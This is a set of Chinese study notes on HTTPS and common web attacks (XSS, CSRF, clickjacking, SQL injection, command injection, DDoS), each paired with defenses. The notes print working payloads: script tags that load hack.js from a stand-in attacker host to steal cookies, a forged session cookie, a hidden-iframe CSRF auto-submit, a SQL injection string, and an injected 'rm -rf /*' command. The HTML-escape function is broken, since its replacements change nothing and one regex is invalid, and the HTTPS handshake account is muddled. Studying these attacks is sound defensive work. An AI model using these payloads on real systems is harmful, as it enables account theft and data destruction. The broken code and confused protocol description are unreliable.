HTTPS(对称+非对称+CA证书+hash)
对称加密
- 双方约定好一个key,来解密加密
- 约定key的过程可能被拦截
- key太多了影响性能,一般服务器只有一个key
非对称加密
- 服务器存有公钥,私钥
- 客户端索要公钥
- 客户端给服务器发送数据是完全安全的
- 但是服务器给客户端回应的话,如果hacker有公钥,就会被监听
对称+非对称
- 服务器有公钥和私钥
- 客户端请求公钥
- 客户端发送公钥加密的num1作为约定的对称加密的key(这个时候因为发送的是num1,所以hacker不会容易发现)
- 服务器返回确认num1设置成key成功的信息
- 之后开始对称加密
中间人拦截
- 如果从客户端第一次请求公钥就被拦截
- 那么所有的操作都可以被中间人代理并篡改
对称+非对称+CA证书
- 只需客户端索要通过CA证书对公钥加密的license
- license的CA证书解密是被写死在OS上,直接解密就行
- 然后再发送CA加密的num1作为key
- 这个时候hacker不知道num1是什么,不能解决
访问baidu过程中的CA操作
- 前两次握手附带num1和num2
- 认证证书没问题的话客户端生成num1和2的hash作为key,并传num3和key
- 服务器验证key等不等于num1和2,不等于说明客户端是hacker
- 验证客户端没问题后,服务器就让1 2跟num3生成hash值给客户端,然后通过证书生成key
- 客户端验证返回的hash值等不等于1 2 3的hash,等于说明服务器没问题
- 然后就可以用这个保存在两地但并没有信道传输的key进行对称加密了
常见攻击方式
1、XSS 执行黑客脚本 获取用户控制权
执行黑客注入的脚本,获取别人的控制权
攻击方式
只要可以执行script,那么script能做的他都能做
- 在URL添加script标签
- 标签src指向跨站js脚本
- 获取到脚本后再加个对该黑客站点的URL请求
- URL里面带上document.cookie,就可以在黑客站点登录啦
反射型 - url参数直接注⼊
- 普通
http://localhost:3000/?from=china
- alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
- 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script>
- 短域名伪造
https://dwz.cn/
- 伪造cookie⼊侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
存储型 - 存储到DB后读取时注⼊
脚本存放数据库,例如评论,那么所有用户都会访问这个评论,从而访问这个脚本
- 评论
<script>alert(1)</script>
- 跨站脚本注⼊:
我来了<script src="http://localhost:4000/hack.js"></script>
防御
老版本(XSS过滤):
ctx.set('X-XSS-Protection', 1) // 启动XSS过滤 http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装⼀下就不⾏ 了
CSP(content security policy)增加安全层(白名单)
- 只准加载本站资源
- 只准https
- 不允许加载任何src
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图⽚
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试⼀下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
转义字符串 / 屏蔽危险行为
- 黑名单:不能处理富文本,且拉黑的过多不方便
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(///g, '/')
return str
}
- 白名单:直接
require('xss')
,然后放进xss函数里面就行
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html)
HttpOnly Cookie
- 因为xss本质原因是因为可以用js来读cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
2、CSRF 跨站请求伪造
cross site request forgery
它利⽤⽤户已登录的身份,在⽤户毫不知情的情况下,以⽤户的名义完成⾮法操作
攻击方式
- ⽤户已经登录了站点 A,并在本地记录了 cookie
- 在⽤户没有登出站点 A 的情况下(也就是 cookie ⽣效的情况下),访问了恶意攻击者提供的引诱
- 危险站点 B (B 站点要求访问站点A)。
- 站点 A 没有做任何 CSRF 防御
例如:
- document.write一个script到form
- 这个script就是该站点写好的伪造的请求
- 然后target指向iframe
- iframe设置成显示none就可以无声无息
<iframe> 标签规定一个内联框架。 一个内联框架被用来在当前 HTML 文档中嵌入另一个文档。
document.write(`
<form name="form" action="http://localhost:3000/updateText" method="post" target="csrf">
添加评论: <input type="text" name="text" value="CSRF评论。。" />
</form>
`)
var iframe = document.createElement('iframe')
iframe.name = 'csrf'
iframe.style.display = 'none'
document.body.appendChild(iframe)
setTimeout(function() {
document.querySelector('form').submit();
},1000)
防御
refer+filter
app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})
- 判断是不是正确refer站点请求的,如果不是的话就用filter过滤器过滤掉
- 但是https不发送refer
验证码证明是用户的操作
Cookie Hashing(证明是来自好网站的cookie)
将cookie进行hash后当作表单数据传过去,服务器接收到表单数据后,对请求中的cookie进行hash,验证表单数据中的cookieHash,因为B站无法获取用户在A站的cookie,所以无法发送cookieHash,故无法通过验证
token
服务端生成一个随机数token,让客户端保存起来或者设置隐藏表单,每次提交表单时都带上token,由于token是随机的而且有时间限制,而B站无法获取到,故其请求无法通过验证
请求中发送token而不再是发送cookie能够防止CSRF(跨站请求伪造)。即使在客户端使用cookie存储token,cookie也仅仅是一个存储机制而不是用于认证。不将信息存储在Session中,让我们少了对session操作。
3、诱惑点击,点击劫持
攻击方式
- 在该站点套入iframe
- iframe的src是被攻击站点
- iframe的被攻击页面显示在该站点页面下方
- 并且iframe的页面跟本页面的button图片(非button)差不多
- 点击就会发送了
防御
禁止iframe
- ctx.set(‘X-FRAME-OPTIONS’, ‘DENY’)
- DENY,表示⻚⾯不允许通过 iframe 的⽅式展示
- SAMEORIGIN,表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
- ALLOW-FROM,表示⻚⾯可以在指定来源的 iframe 中展示
JS判断本站页面是不是在最上层
4、SQL注⼊
原因是因为前端可能会直接将拼接SQL语句
// 填⼊特殊密码
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
防御
传参错误写法 vs. 正确写法
// 错误写法
const sql = `
SELECT *
FROM test.user
WHERE username = '${ctx.request.body.username}'
AND password = '${ctx.request.body.password}'
`
console.log('sql', sql)
res = await query(sql)
// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])
权限不要给太多
敏感字符正则匹配转义
5、OS命令输入
攻击方式
例如:后端要进行OS操作
// 以 Node.js 为例,假如在接⼝中需要从 github 下载⽤户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ⽤户输⼊的参数 */};
exec(`git clone ${params.repo} /some/path`);
那么如果传入的参数是这个
https://github.com/xx/xx.git && rm -rf /* &&
那么就裂开
6、请求劫持
DNS劫持
- 网吧咖啡厅
- 正向代理
- 例如 将请求劫持到代理的服务器上面,代理再进行各种操作,等同于做的任何操作都有监听和篡改
HTTP劫持
比如:酸酸乳、GitHub。。。
或者会劫持http,只能改成https
7、DDOS攻击
是攻击大类
最常见的就是cc攻击
SYN Flood
此攻击通过向⽬标发送具有欺骗性源IP地址的⼤量TCP“初始连接请求”SYN数据包
来利⽤TCP握⼿。⽬标机器响应每个连接请求,然后等待握⼿中的最后⼀步,这⼀步从未发⽣过,耗尽了进程中的⽬标资源;或者是占用了有效访问的带宽,导致正常的访问被服务器拒绝
HTTP Flood
此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - ⼤量HTTP请求泛滥服务器,导致拒绝服务。
防御
- 备份⽹站
备份⽹站不⼀定是全功能的,如果能做到全静态浏览,就能满⾜需求。最低限度应该可以显示公告,告诉⽤户,⽹站出了问题,正在全⼒抢修。 - HTTP 请求的拦截 ⾼防IP -靠谱的运营商 多个 Docker
硬件 服务器 防⽕墙 - 带宽扩容 + CDN
提⾼犯罪成本